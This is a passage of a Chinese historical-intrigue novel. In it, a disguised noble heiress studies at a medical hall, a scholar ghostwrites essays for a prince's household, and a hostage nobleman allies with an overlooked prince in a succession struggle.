林兮看着她落笔的动作,便觉出不对,不仅握笔的动作极不自然,连手腕都悬得比正常位置要低,看她才写下行歪扭字,就开始揉起手腕,忙关心道,“你的手是受伤了?”
邱怡回道,“是先天弱症,我生来力气便比寻常人小,即使服了清心丹,也总觉体力难支。”
林兮上前,从她手心抽出笔来,“你想写什么,说给我,我来写。”
邱怡一顿,望着林兮写满善意的双眸,“写几个字而已,不是什么大事的。”说着,朝他摊出手掌。
林兮道,“你也知不是什么大事,你好生歇着便是。”
“林兮,谢谢你的好意。但我不希望,旁人因我有隐疾,就来同情我,格外照顾我些什么。或者说,我根本不想任何人知道,我的身子骨,跟你们的不一样,你可能明白?”
邱怡本就生得楚楚可怜,她的话音清婉细转,抑扬顿挫,落进林兮耳中,哪一个字都是清清楚楚的,激得林兮是又怜又酸,恨不能多为她做出些什么。
林兮不忍地将笔还她,“我不急的,你慢慢写,累了就停下歇息。”
邱怡写的很多,或者说,是故意写的很多,甚至林兮已经离开书阁,她还在写。
再一抬头,却看林兮匆匆跑进来,将一白瓷药瓶放在案子上,“我从幻医正那儿,帮你拿了些清心丹来。”
邱怡心头一拧。
违背家训,进入云间城,进入清农学医,本就令她鄙夷自身行径。她到清农,除了要找到小乐,学会玄心奥义诀,更重要的,是不能让任何人将她和张之合联系到一处,让人知道,白陵少主张之合不仅进到过清农医堂,还与清农的人相处这多时日。
为此,她不得不将自己表现得像另一个人,比如改用左手,比如暗示娇弱……哪知如此假象不仅轻易骗过林兮,还反令他去为自己求药。
但看邱怡并未像林兮预料那般眉眼舒笑,只是默默地收起药瓶,回了句,“多谢了。”说着,将纸页推到林兮身前,“大抵就是这些书册了,你去那边架子上找一找。”
林兮拿来纸,走进书架间寻了起来。邱怡也悄无声息地,走向另侧架子,翻看起医书。
她逐册翻找,一本记载着历代清农医者的名目录映入眼帘。她攥起那薄册子,瞥着林兮还是远处高架取书,紧忙翻看开了。
8. 文武争相竞与
邱怡看后才知,清农门下,不仅是医堂内这百余学徒。
原尚有众多医者,或因成家、或因迁居脱离了清农医门。对着如此庞杂的名集,她倒也有条不紊,择着与父适龄的女医者逐个排查起来。
一遍又一遍。
这种并无人名中带有“乐”字,甚至与之同音的“月”、“悦”、“玥”都极为罕少,唯一符合的两人,俱在她出生前离世。
幻言既认得小乐,证明这人一定在清农待过,只是可惜,这份名册,不会将乳名记录在内。咦,有了,幻言认得,旁人也当认得,我大可先与清农门内的人熟悉熟悉,再旁敲侧击地去打听,看看到底哪个才是小乐。
半晌,林兮抱着一摞书走到邱怡跟前,邀她同读。
邱怡饶是镇定地合上书页,又随手拿起两本医书,跟他回了药房。
徐照打理完药草,进屋见两人对坐在一张宽大的书案边,凝神默诵,案上摆着笔墨、纸砚和几本摊开的书册,反是莞尔一笑地加入了他们。
邱怡见状,合上那册名录,拿起本医书来看。
不会儿,林兮兴奋地一拍几案,“妙极!邱怡,你荐的这本《鸿雁行记》果真妙极!起初我还当这是一本寻常游记,几次走过那处架子,都没想着取来读,如今看来,真是大大的失策。”
但看邱怡正凝神专注于书中,那神情,格外得认真、仔细,竟令林兮生出股冒犯和打扰的歉意。
只见她抬眸一瞬,“鸿雁居士向来视郎煌为圣贤明神,若说世间谁最懂郎煌言,谁最知郎煌意,依我看,非他莫属才是,可惜,也是个半途失意的。”
林兮看她非但不恼,反是悉心述解,声音又如此朗朗清婉,闷嘴一笑,提笔蘸墨,在纸页上疾书开来。
徐照看着林兮书下的随感,连连点头,赞道,“兮儿,你这篇文作,见解新颖独到,必能引起朱阳王府的注意。”
林兮无奈笑道,“这朱阳王妃,确是为朱阳世子操碎了心。连圣上布下的功课文章,都要这么多人帮他来做,可就是做的人太多了,两年了,真希望这次能被选上。”
邱怡轻嗤了下,又垂下头,用指尖划着医书中的行行字钻研起来,心中默默感慨道,交不出就交不出,突然交出了,文风又如此多变,不是更令人起疑吗?
可林兮却是越写越有兴致,行文不通处,还喊徐照和邱怡来为他措辞。
邱怡颇为不耐,“都知朱阳王是个好脾气的,信着他那王妃胡来,但他们得了你的文章,至多给你个把赏银罢了。竟还妄想着能得朱阳王府青睐?”
话音才落,看着林兮和徐照那目瞪口呆的神情,邱怡嘴巴也不知该再说些什么好,只得张着僵得几乎绷硬的嘴巴,无声地笑着。
“邱怡,不可妄议朱阳王妃,更不可妄议朱阳王爷,这是大不敬啊。”徐照赶忙上前,一面拍着桌,一面说教着。
邱怡捣蒜似的慢点着头,“先生教育的是,是我失言了。”
此刻,她大抵也是变相体会了番,旁人妄议她时的处境。
曾随父进凤临面圣,确与朱阳王有过几面之缘,对朱阳王这位闲散王爷印象最深的便是,他是个张口闭口三句不离王妃的。一席国宴间,竟将王妃如何人美心善,如何貌比天仙,颠过来倒过去地夸过数遍。
那时,她就听得耳朵几是要生茧了。眼见为实,若真如此美貌,缘何不带来国宴,让众人眼服心服。遂拾起杯盏来,向父亲讨教那玉石出自何处。
不想再度听到“朱阳王”三字,还是伴着他那王妃。
林兮道,“先生,邱怡说的也没错。朱阳王妃,隔个十天半月就让清农给她送文作去,我这手都要写麻了。”
“兮儿,你就辛苦些。整座清农,也就我们爷俩能写出几句来,你也知道的,那朱阳王世子确是学不进,我们能帮到,朱阳王爷定是看在眼里的。”
林兮哼唧了声,“可是上月,朱阳王妃还遣人来,说我那文根本是像草纸一般。”说着,捧起一页纸,“先生,您看一下,比起朱阳王世子,这怎就是草纸了?”
徐照捋着须,不知该应些什么。
林兮负着气跟了句,“我看,朱阳王府,根本就是故意刁难清农。”
“胡说,朱阳王怎会为难清农来?”
邱怡只觉耳中茧又疯狂窜了起来,抛下医书,按着桌儿道,“都别吵了。林兮,我再教你几句郎煌箴言,你且记下,包你一举脱颖而出,让那什么王爷,再挑不出理儿来。”
文无第一,武无第二。
她自是听过许多文物双全的人,有时,她就不禁会想,如若将这群“文武双全”都传到墨白城来,让他们共坐一堂,辩辩文,较较武,那么,出了墨白城后,还有几人会声称自己是个“文武双全”。
并非因他们互相照面后的相形见绌,而是北都白陵的墨白城内,确有着位真正的文星武冠。
自然,有父亲坐镇,这“武冠”之名自也仅是那人与同辈相较出的,可“文星”之号,乃是位博学大儒手把手,点滴教出的。
许是陵侯家中双生子的名声过盛,使得这位文星武冠,也仅仅是在白陵都城内,有那么点名气而已。然而这点名气,确是连她这位白陵少主都肯认下的。
那位文星武冠就是她的二哥——张司宇。
张司宇虽与张天作、张之合出自一门,但他与那二兄妹的处境却如天壤。
其母难产而亡,张司宇才落地,便撒手人寰,其父更是因与长兄张鸢为着白陵少主的位子,斗了小半辈子,少主之位落进张鸢手中后,一朝气不过,生死不愿再见,索性抛下不满三岁的张司宇,摔匾离门去了。
张鸢自觉对不住这侄儿,遂收养了他,另将他那外祖——昔日东海竹贤阁老之一的顾友庭接进墨白城内,拨出座桃李苑供他居住。一则为宽解顾友庭膝下寂寞,二则是为他能教导张司宇读书识文。
张司宇三岁开蒙,五岁就可对着百家论集侃侃而谈,张鸢喜不自胜之余,还将自己的一双儿女送去了桃李苑。
顾友庭有私,以老身年迈体绌、无法兼顾三名幼子为由推拒。张鸢亦不强求,只盼得顾友庭能留下张之合来。
那时,顾友庭更为介意身为张鸢长子的张天作,见张之合是位女子,便应了。
就这样,张之合少时,除了要与父练武学兵,还要去顾友庭处,去听讲经史子集。
算上习文习武的时光,张之合与张司宇相处,可不比与张天作的相处要少。<
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二哥看着四妹长大,同样,四妹也是比着二哥长大的。
四妹自知勤奋不及二哥,论是自己做出再好的文章,还未经顾友庭过目,就先将被二哥挑出些许错漏。
她就憋着这口气,在演武场上,一通撒与二哥。
不想她这二哥,亦不是个任人出气的。有时,她尚可凭借临场即兴的招式侥幸胜二哥,但往往不出三两日,她那些新奇招式,就被二哥破解失去了效。
就此,张之合得出了个结论,若是顺着二哥,他还当我是四妹来哄一哄,可若是逆着他,就真是给自己找不痛快了。
但对二哥而言,每每看到身旁这不屈不挠、百战不殆,稍稍展露出些小聪明,就可令外祖束手无策的四妹,总不禁自问,天既生我张司宇经才于世,何再生个张之合来?
料是此刻的她做梦也想不到,张司宇此刻,竟在凤临,而非白陵。
她随口教予林兮的几句话,虽将被朱阳王选重,但几经辗转后,也将映入张司宇的眼帘。
一月后,凤临。
阳光透过轩窗,桌案间茶气袅袅,白雾腾腾,风携落花,擅入窗格窥听。
张司宇目光扫过行行墨字,锁眉又皱了几分。
对面的红衣少年见他复读数遍,手指仍紧紧捻着薄薄文纸,等不及先开口道,“白陵文采第一流非司宇兄莫属,难道连你也参不透这篇晦涩怪谈?”
张司宇抬头瞬了一眼,已经记不清是第多少回了,这位红衣少年每得奇珍异宝,都会打着共赏的名号到寒山别院来,话里话外,露骨地透着浓重的糖衣炮弹,为当朝太子牵线搭桥。
没想到如今,为了拉他入己方阵营,竟寻了如此少罕的文作来。
郎煌,知道此人的本就极少,拜读过《人生哀乐》的更是屈指可数,恐诸位皇子的启蒙师傅都未必在列。连他,都是从外祖处口耳相传,才知以全貌的。
再看此文,作文者俨然拜读过《人生哀乐》不说,竟连行文措辞,都和少主如此相近。
难道,她还活着?
外祖密信中言,伯父与少主已逾一年未归,想来凶多吉少。
可伯母却秘而不宣,不仅将此事瞒下,还暗中联络江邑潘家,准备大肆收买文武官员,先行稳住局势,再扶持三弟继任君侯之位。
昔年有伯父回护还好,若伯母大权在手,届时,恐第一件事就是对我斩草除根,永绝后患。
命我务必寻机脱身,在冲云之战前赶回墨白城,趁着如今城内群龙无首,胜冲云战,出任副主,阻止伯母。
哼,若少主还活着,我还争个什么劲?
“殿下说笑了,在白陵,能识得几筐字,就可算是读书人了。司宇不过比他们多读过几本杂书,岂敢称之为文采?”
红衣少年拈起杯子,徐徐吹着热茶,语调也很是玩味,“白陵人的文采是算不得入流,但你这第一流,就是放在文教盛兴的东海,也绰绰有余了。”
张司宇端着文纸,“殿下若能寻到作文之人,许更能直明其中要义,何必考究司宇来?”
红衣少年起身走向侧窗旁的案几,指头擦过案上一片将萎的残花,嘴角一抿,“太子说如你再不做决定,就该让你自求多福了。”
9. 才说半语知同命
张司宇眼皮都没抬一下,从到凤临作质子以来,太子与江王皆如展示獠牙的野兽般。先是拉拢,拉拢不成,也许就会选个阴暗无人的角落慢慢吞噬不属于自己的猎物,顺了这个,就是逆了那个。
寒山别院内桌椅床屏,皆乃异香奇木所制。
张司宇到这里的首夜,思乡成疾,毫无睡意,长夜漫漫,忽闻蛇吐信子的嘶嘶声,抬手一摸,掌处蠕着一片阴凉。幸好腰间佩了软剑,当即摸黑挥剑出了屋,避至后厨,在灶台下生了起火,手中握着剑,眼盯着那团火堆,一直没再合上。
当天边露出鱼肚白后,他才回到卧房,看着地面,床头……尽是断蛇残尸,身子还不自觉抽搐了下。转日还没来及打探这一屋子的蛇是哪里来的,江王便派人送来几盆鹅兰草,还刻意强调此草可驱蛇虫。
果然,自有了那几株嫩黄花蕊,屋中就再没见到过蛇,在东宫和江王府接二连三的宴请中,张司宇不仅见识了双方“礼贤下士”的手段,也渐渐明白,满屋可引来蛇群的奇木家具,是太子安排的。
几城质子都有各自苟命的方式,或呼朋引类结交当地名流贵人,或以金银堆砌各式各样集会与雅宴,如今他们的房中,或是重新置换了金楠家具,或者摆着满屋的鹅兰草。
而他是日子最清苦的。饭菜是冷的,果子是皱的,茶也是陈的。门庭冷清,也因为他从没向太子和江王中一方示过好,所以屋内摆设仍是如初,连鹅兰草也未添新,现下最后一盆即将枯萎。
红衣少年看张司宇噤若寒蝉,用着自言自语的语气道,“这篇《哀乐论》是父皇前几日考文时,阿夏交上来的。”
张司宇脑海中闪出那个虎头阔身的朱阳世子,他的身子骨被朱阳王妃养得像头牛一样壮,秉性也跟头牛一样。但这副务实与耐劳的性子反而让他在多方势力的漩涡中独善其身,不仅享受着近似皇子的待遇,甚至比多数皇子更能得到来自帝王的关怀。
“殿下直接去问朱阳王世子不就是了。”
红衣少年再度悠悠道,“可惜阿夏却连字面的意思都讲不出。阿夏是个随和的人,父皇慧眼,定也能瞧出这篇阴戾怪谈不是阿夏作的,好在父皇不希望看到朱阳王叔有一位文韬武略的世子在,没有戳穿代笔之事,只当他是在发梦时作的呓文。”
张司宇道,“朱阳世子乃纯直之人,殿下若过问,他必会如实相告作文者谁。”
红衣少年端起茶杯一饮而尽,“太子有命,谁能解此文,就给添几样金楠家具来。”
张司宇道,“东海顾以歆此刻也在凤临,殿下何不去找他来解?”
红衣少年见张司宇仍在兜圈子,不耐烦道,“你是真不愿意吗?”
张司宇不疾不徐品起茶。
“你到凤临快一年了吧,太子和江王的门人都要将你这寒山别院的门槛踏破了,单是我,就来过六十又七趟,你倒真是一视同仁,一方也不偏倚。”
张司宇道,“殿下言重了,白陵张家既作凤临属臣,自然世代都与皇族君臣同馨。”
红衣少年淡是笑了一下,“储君也是君,难道你眼中从未将太子视为未来之君?还是,你觉着这未来之君另有其人不成?”
张司宇微微一愣,“圣上册立太子多年,无易储之心,只要太子殿下恪守本分,司宇相信,江王之流不过哗众取宠罢了。”
红衣少年轻描淡写道,“世事无常,谁又说的准呢?昔日顺王伯还不是稳坐东宫宝座,可最后登大宝的,既不是与他,也不是与他处处争势的英王伯。”
张司宇别开脸,当今献帝可从上一轮储位之争中脱颖而出,也许一直都如眼前这位从不被注意过的皇子一样,在太子与英王都以为要将帝位揽入手中时,带着白陵兵马涌入凤临王都。“我虽也是白陵张家的儿子,但质子便是弃子,从到凤临的那一刻,我便知此生再难回白陵城了。何必劳烦当朝太子在一无用之人身上下这般功夫。”
“你当看得明白,除了你,太子没有更好的人选夺回白陵张家的支持了。”
张司宇审了红衣少年一眼,“还请六殿下明示。”
“明示?这还需要我来示吗?白陵少主是什么货色?胆敢在众目睽睽之下殴打当朝太子,自大狂妄,目中无人,除了江王兄那家伙天生一副奴颜媚骨外,谁愿去讨好那样一个暴性无常的主儿?”
两两相望,张司宇突兀地大笑起来。
红衣少年也笑着道,“难道我说的不是事实?”
张司宇上气不接下气道,“是,当然是事实。”
红衣少年并未责问,而是继续听张司宇说下去。
“是事实又如何?纵然太子殿下愿高看司宇一眼,但太子身边早有高人旁助,还是不得不与江王平分秋色。司宇又何德何能,可保得太子殿下的地位稳如泰山?
红衣少年道,“怎么?你是信不过自己,还是信不过白陵兵马的分量?”
张司宇直勾勾盯去,“一位皇子会选另一位皇子做谋士,单从这点看,那位皇子显然算不得是明智之人。”
红衣少年嘴角轻轻勾了下,“原来你是信不过太子啊。”
“但另一位皇子,却值得刮目相看。竟能让太子忘觉,他本身也和江王殿下一样,同样是皇位的竞争者。”
红衣少年摊开手道,“你说笑了,我这皇子身份,不仅是个虚名,还是诸皇子中的异类。从名字就看得出,我的皇兄皇姐们,男者以‘日’字作首,女者以‘日’字为边。而我的名字,不仅将‘日’字丢了一笔,还……”他没有再说下去,而是垂下头有气无力地长叹了口气。
都是事实,皇子中,他是最不受器重的,不仅是唯一未婚配名门的,还是唯一被献帝盖棺定论为“游手好闲”而不授王衔爵位的。
但谁愿直接将自己背脊亮出,任人戳点?
除非,这些都是伪装,是让人看起来人畜无害的外衣。
至少在张司宇看来,眼前的翩翩少年除了被扣上几顶不成器和不着调的帽子外,在皇权的夹缝中长袖善舞起来,游刃有余。
张司宇俯下身,将目光重重投向红衣少年,决定试他一试,“新皇即位,诸位皇子皆要易名避讳。殿下贵名生来便不同于诸皇子,此乃天意为之,殿下为何不喜,反是自怨自艾呢?”
红衣少年宽长的眼眶中渐渐闪亮起来。
张司宇慢慢凑去,“明人不说暗话,张司宇只与真正的强者为伍。今日若是太子门人来拉拢,张司宇的答案自然一如既
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往。若是六皇子轩辕鸣亲自出山,那么,在我们这对凤临弃子和白陵弃子之间,便有的谈。”
六皇子听在耳中,四下查探了一番,才凝着那双洞穿自己内心的眸子,“其实我们两个很像。”
张司宇唇边浮出一抹诡笑,“何止是一般的像?你母是废妃,我父是叛门之子,但这又如何?难道我们就真的不配吗?这么多年压在我们身上的,究竟是父母之辈的罪名,还是上位之人的偏见?”
每个字眼都像是嚼着血似的,六皇子眼都不眨,也不准备再装下去,“你甘心吗?”
张司宇迎过视锋,四目皆如顿住一般,怜悯道,“你说呢?看他们家和美满,而我却要寄人篱下,忍受父子分离之苦。无论天资还是勤奋,伯父都承认少主和三弟根本不及我,可为什么,做白陵少主的人不是我?更令我痛心的是,我才刚有能力为自己的前路去搏上一搏,却被发配到凤临做了个朝不保夕的质子。换作是你,你能甘心吗?”
强烈的共鸣激窜出如闪如电的思绪,半晌,六皇子向张司宇递出眼神,“无论在凤临还是在白陵,都该是能者上,庸者下,你说对吗?”
“可惜,我与殿下认识的太迟了。再多的不甘心,都解不了如今我这质子的处境。不然,我倒真可与殿下联手,向压在我们头上的人证明,我们,才是最好的继承人。”
六皇子收回目光,“白陵君侯不是还有位公子吗?我倒可以试着游说太子,再换一位白陵质子来。”说着举起那么晦涩之文,“但至少你得先向太子证明你的能力才是吧?”
张司宇目色信若,徐徐道,“此文确隐透着一股不得志的郁戾,言辞生晦,但并不难解。只因作文者的言论并非出自主流之书,甚至,作者在行文措辞时,已极力在用平实的文笔词句,以免读来不知其意——”
纸张忽地被团进掌心。
张司宇顿了下,不动声色道,“殿下这是?”
见六皇子眼底却是一片大亮光色,眼珠子不住往自己身上流转打量,嘴中轻轻哼了一声,“不枉我在你身上下了这么久的功夫,相信你不会让我失望的,我,也不会让你失望。”
张司宇轻点额头,淡笑了一下。
六皇子道,“但是太子那关,还得你自己来过。”
张司宇续上半盏茶,捧到六皇子眼前,“还请六殿下为司宇引路。”
六皇子接过茶,吹了吹,拢着袖抿进一口,“过几日,父皇将带新后游凤临江,会在御船设诗宴,你说太子当如何表现,才能从江王兄和朱阳王府的墨客文作中脱颖而出呢?”
张司宇背过身,思考了会儿,缓缓吟道,“玉龙琴瑟乐,十方芝兰盛,凰影迭翙翙,有凤临江行。”
六皇子含笑轻点起额头。
张司宇回正身子道,“殿下,司宇自问有才,不仅在词句间,更不想被大才小用。太子殿下若只是想寻个人来,遣出些词句博圣颜一欢,那么,让作这篇《哀乐论》的人来就足以了。”
六皇子闷声笑了起来,“看来,你对作这《哀乐论》人的兴致,可以比对太子的浓郁多了。”
“不过文逢知己,想当面切磋一二罢了。”
六皇子神色轻松道,“我试试吧。”
10. 一念凤临缘起
赤元十七年秋。
凤临城楼下,一灰衫少年望着楼门上“凤临城”三个大字,草帽下一排雪龈,道,“玉龙琴瑟乐,十方芝兰盛,凰影迭翙翙,有凤临江行。”又伸手拍拍身下的青花马,对它说道,“伙计,奔波半月,终是到凤临了。”
那小青马乖顺地长嘶一声。
林兮跳身下马,压了压草帽,手引缰绳,一人一马,不急不慢地迈入了凤临城,楼门下的修长背影渐渐消失。
英气勃勃又略带稚气的脸庞上,一双溜亮的双目四面打望,远山近水,风光绮丽,商户贩夫,繁华络绎。
话说月前,当朱阳王府送来赏银时,竟还夹带一封信来。信中说,当朝六皇子对其《哀乐论》欣赏不已,无论如何也要瞧瞧写下这位文作的少年,约在跃然楼一见。
林兮得了这个消息,不仅异常感谢邱怡,还彻头彻尾地准备了一番,裁新衣、借良驹,只盼可以得到这位皇子青眼。
哪料,他进城问过后才知,原跃然楼仅是凤临江边的一处客栈,并非什么皇家别苑。
林兮谢过后,再度牵起一路陪伴他的青花马,悠然到了岸边。长堤卧波,莺莺四起,郁柳夹岸,一条条垂枝落摆到水面上,河上倒影与水波摇曳,随莺声同舞。
每百余步,便一座拱桥,一桥柳浪一桥景,一处莺啼一处乐。林兮每见一楼,都寻不到“跃然楼”三字的模样,那老管家只告他延河边走,却未告他要走多久才到,过了八座石拱桥后,路边行人渐稀,不仅仍未瞧见跃然楼,只有往来疾疾的蹄声,林兮腹中作响,惹得他心急。
手中缰绳一松,马伙计径直跑到河边悠然地喝起水来,今日天未大亮,这匹青花马就驮着自己一路奔驰,早已累了。林兮遂了青马的意,停了下,也从囊中取出干粮袋,坐在河边粗嚼几口后,借着河水的清凉劲拍了几下脸,再次策马,沿着岸边,一路啼声哒哒,移景飞驰。
天空中淅淅沥沥下起了小雨,道路两旁的民舍愈发稀少,河道愈加的宽阔,细雨中的景色却也越发的笼美,近看碧波柳烟,远望苍山空蒙,如诗如画。极目烟波中,见岸边有一数丈高楼,大匾赫然书着“跃然楼”的金字招牌,林兮紧勒马绳。
跃然楼伙计已撑伞出迎,“客官,打尖还是住店?”
雨水顺着帽檐滴落,林兮递上六皇子的心,“是六皇子召我来见的。”
正记账的掌柜看着林兮,衫袍沾着秋水,鞋处更是泥泞,发觉出他一路风尘。
向伙计嘱咐道,“快,送客官去天字号房,打些热水送过去。”说着还叫来另一位伙计,命他将马牵入马厩,关照道,“这马奔驰多日未曾歇脚,你要好生照料,待雨停了,给它换副马掌,好好刷刷。”
伙计领林兮出主楼后,过了两道院门,第三进院落邻挨凤临江,进城后一路沿行的宽河,正是凤临江下游分支而出的长湖。
天字号客房毗邻凤临江而建,每间房都正对凤临江面,若是起得早,推开窗即可见如火球般的日头破出凤临江的晨景。
林兮自进房,就不住对着房内的一切打量开。外屋宽敞通透,里屋对此刻的他而言,更是舒适温馨。
自半月前离开云间城来,终日赶路,未曾睡过一晚好觉,享过一顿美肴,他就盼着尽快饱餐洗漱,裹着软榻上亮得透光的缎被好好睡上一觉。
晨光不算热烈,晨风已伴轻凉。
推窗面湖,清风拂面,雨后秋日,天空洗蓝,细碎的阳光洒在他的脸上,对着浩瀚的湖面,一股久去的惬意又回来了。
可才没多会儿,就难耐起来,窗外美景如斯,岂有不游玩一番之理?可这六皇子行事生奇,不知何时会传召?
只得憋闷闷靠在窗,对着秀甲天下的凤临湖自娱道,“郡亭枕上看潮头。【1】”喃喃心想,此刻,邱怡若在,怕要同自己对上一句,“浓妆淡抹总相宜”【2】。
苦等半日,仍不见有人来传。林兮叹了叹,在前堂要了壶酒,本欲点盘牛肉自酌,无意瞥见价牌,蓦地一股凄凉意。改口叫伙计配了盘花生下酒,待伙计离去后忍不住一声唏嘘。
东座一白袍男子回过头来,冷电似的目光在他脸上转了转,便转过头。林兮见他素带束发,坐身如松,月白色的长袍绣纹细巧,腰带和袖口均嵌着银云纹路。
岳美姿仪,极具威势。
林兮暗暗赞道,“这人一眼瞧去便知是位极贵的世家子,面露一股龙盼之色,实是平生罕见,说他是皇族子弟都不失配。”
林兮有心结交,但看那男子桌上放着十二色精菜,玉樽旁摆着一把折扇,美玉巧雕,倍感差距,不敢贸然,便又暗自饮起来。
时间点滴流逝,林兮低声盘算道,“六皇子啊六皇子,你若再不召我,不知我的荷包可撑到几时?”
那男子好像听到他说话似的,摇首轻叹,随即起了身,健步向外走去。
月白长袍衬得人如玉树般挺拔,衣袂飘飘,白衣上银线绣制的流云纹潺潺而动,身影消失在一阵疾驰的蹄声中。
东座桌席上,菜肴几是未动,如此教养出众的贵户公子,同一道菜是不会动第四下的。
待林兮再回过神时,发现那柄玉扇仍静静躺在桌上,拾起折扇,便去马厩领出自己的青花马,向西追去。
红马色泽太过瞩目,闹市间不难寻到那团火影,只是罗市熙攘,连林兮的呼唤声亦被淹没,换作郊外,只消片刻,林兮就可赶上他。
可那红马才出市街,似是离弦的飞箭一般,奔行不止,任林兮如何呼喊叫停,那男子和他的红马都没有要停下的意思,无论是自己还是青花马,都只能看到火红马甩起的马尾。
林兮豁命追赶好似飞翔的一人
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一马,半箭距外,男子轻松回望。
背脊高立挺拔,眸中光华如流星划过,难以描绘的朗逸和英气,竟如此奇妙的统一到一个人身上。
他周身的一切,都好像正在冉冉东升的旭日,追云逐光,生辉生彩,耀得人眼不敢正视。座下的红马亦似一片焰云团烧,护他翔于天际。
马过一片黄绿相间的桂林,忽嗅桂香,男子轻展猿臂,顺走一条黄枝把玩,金黄嫩蕊擦过鼻尖,嘴角又扬了扬。桂枝敲马,很快消逝在尘起的远方。
林兮才明白,那男子早早便注意到自己,随即夹紧马鞍,试图追上。
不是青马不争气,是大红马太过出色,林兮不停地加鞭,还是追不上他的大红马,远远落在后面。幸而岔路不多,寻着清脆的马蹄声,林兮终于追了上。
一人一马,正在一处院门口候着他,门匾上挂着“寒山别院”的字样。
林兮边喘着粗气,边打趣道,“兄台,你,轻蹄飞马,朱光流云。我,紧赶慢赶,瞬目韶华。”
银袍男子纵颜一笑,“此处是我屋舍,进来叙话吧。”
院内出来两位带刀侍卫,接过二马缰绳。
林兮随他进院,院里的布置风景都是极好的,石山环砌,奇花葱葱,凉亭旁还辟了池塘,池水碧清,还可见锦鲤摇摆的尾巴。最惹林兮瞩目的,是院落东侧摆了四座兵器架,刀、枪、剑、戟、斧、钺、钩、鞭……玲琅不已。
那男子不知何时,已坐在亭下石桌处品茗。林兮刚才就在怀疑,这位男子,走路一点动静都听不见,似是练家。
林兮拱手一拜,“在下云间城林兮,见过公子。”
那男子摊出手掌,目带柔光,“林兮兄弟,这柄扇是我近身之物,多谢你追来送还。”
林兮疾驰一路,气血倒是畅行很多,气性也生了一些。
这一追一赶,误了许多时辰,万一误了觐见六皇子,罪过可就大了。故买起关子道,“我是来还扇的不假,但你如何证明这玉扇是你所有?”
那男子适才故作没有听到林兮的呼声,又故意提了马速,知林兮这话是在与自己赌气。淡淡抿了口清茶,说道,“扇内写有‘司揽天地’、‘宇内乾坤’,一看便知是我之物。”
林兮打开折扇一瞧,面上一枝玉立的荷花,扇骨内侧刻着“司揽天地”,翻过面,另一面“春和景明”书法苍劲有力,更是醒目,这侧扇骨下方果然有着“宇内乾坤”四字,与那男子说的分毫不差。
“果然是你的东西。”
男子接过折扇,谢道,“在下张司宇,多谢小兄弟归还画扇。”
凤临世家,并无一家姓张。林兮环望起满院的兵器,试探问道,“公子乃白陵张家人?”
张司宇敞声大笑起来,说道,“不错,我是土生土长的白陵人,一年多前才到凤临的。”
11. 惺惺惜意
邺国地大域广,东、南、西、北均设副都,分由望族坐镇。
这副都之主在邺国的地位,是仅次于圣上的封疆藩王,其传承又是在家族内世袭罔替,俨然是一座小国般的存在。
白陵张家既是北方雄主,又是举国名门望族之首。
林兮有些耳闻,眼前的这位张家公子,怕就是白陵张家留在凤临的质子。“今日林兮真是三生有幸,可得遇白陵张家的公子王孙,可惜我还有事在身,不然一定留下和张公子讨教北地风情。”
“两日前,陛下就已出宫,带着太子去了上林苑,众皇子都伴驾去了,六皇子也在其列。”张司宇开门见山道,说着,斟了碗清茶递去,“天色尚早,林兮兄弟若是口渴,倒可在此处歇会儿脚。”
林兮迟疑接过茶碗。
“我虚长你些,林兮兄弟若不弃,你我以平辈之礼相称就好。”
林兮放下茶碗,拱手推脱道,“在下出身微末,怎可与陵侯公子平辈相称?”
张司宇道,“我非陵侯亲子,白陵君侯是我的伯父。”
见林兮眼中有惑,张司宇开口解释道,“历来出使凤临,皆乃君侯亲子。奈何伯父子嗣单薄,膝下唯有少主与三弟二人,三弟体弱,陛下特开恩旨,许我代三弟到凤临为使。”
林兮点着头回道,“原来如此。”
张司宇面色沉平,“徐照,本是一名药铺学徒。十六年前,凤临天疫,他体质异于常人,可避时疾,特被提拔主持煎药事宜。时疫过后,便跟着进了幻氏门下的清农医堂,可惜他的医道始终未成。幸好他儿子徐阳,尚算佼佼,这才保得徐照的管堂之位。”
听着张司宇竟如此了然徐照历往,想他多是有备而来,莫非真正要见自己的人,不是六皇子,而是眼前之人。
“张公子认识徐阳?”
张司宇撇了撇头,“听人提过。”话锋忽转,“地方太学,各有所长,以你之才,跟着徐照,岂不埋没了?”
林兮微怔片刻,勉笑道,“书本上是一码事,但做起人来却又是另一码事了。书中引人向善,可这世道确是恶人活得更如意。学了再多治世的大道理,确无入仕门径,倒不如在清农药房,做些实事来得实在。”
张司宇道,“君子有善万世之心,行之自身始。你既念过书,当知人无再少年,与其留在清农虚耗,为何不去真正可施展才华之地?”
林兮不知当喜还是当忧,“少时读经史策论,也曾不自量力,怀一颗仁善爱民之心。遍尝人间冷暖后方知,实则我才是‘仁善爱民’中的那个‘民’罢了,与这芸芸众生并无二样。所谓兼爱之言,不过是一段墨海天音,留世人一份美好期冀罢了。”
张司宇眼色一变,“你竟是这么想的。”心道,罢了,即使这位小兄弟心无家国大志,但单凭他解读郎煌的那篇文作,也必为同道中人才是。
想着,张司宇神色松弛了下来,“如果眼前有一个比清农更佳的去处,有一份现成的前程,你可愿试试吗?”
林兮眼里闪过一瞬亮光,“愿闻其详。”
张司宇将林兮领入书房,取出一本书,“林兮,看看这个。”
林兮接过,手中的书封面崭新,墨味儿还未散去,“《五州山河异志》,司宇兄,这本书我还是第一次见。”
张司宇介绍道,“此书乃我和位朋友一同编撰的。”
“你?”
快手一翻,首页便现一张绘图,一杆银白色的长枪映入眼帘,苍银如雪,隔着书页感到入骨的凉寒,一条云龙盘绕枪头,林兮无论从何种角度看去,都觉那双活灵的龙睛正威严地盯视自己。
随后又翻了几页,每张绘图都惟妙至极,色料淋漓,文字章节更是通俗易懂,老少皆宜,林兮越是后翻,越觉着不对劲,整本书介绍的尽是各式兵家之器,“司宇兄,这书中怎尽是些刀啊剑啊?”
张司宇解释道,“这是我那朋友的主意,他想作一本记载百物之书。见我白陵张家是以军武立家,便请我同他以与武学之道息息相关的兵器开本,先试上一试。这样的书还会有第二本、第三本、第四本……星象、地理、飞禽走兽等等,都会有的。林兮,这样的书,你可愿随我编撰吗?”
但看林兮迟疑,面色略有几分松动,张司宇继续道,“有了这套书,今后,哪怕是乡间孩童,都可从书中就能识到许千里外才见得到的事和物……”
张司宇滔滔如流,林兮越听越是激动,点头应允下来。心中不由澎湃,若能跟张司宇攀出几分真交情,那他父母的冤事,或将有沉冤之日。
张司宇腹内如有百库书海,从政论国策到经史子集,直至西落时分,林兮才不舍作别道,“司宇兄博学多知,今日真是聊得畅快。”
张司宇快笔疾书,交由林兮一封信,说道,“北地风情,百闻不如一见,十一月初一,冲云之约,你若得闲,可到墨白城一观。”
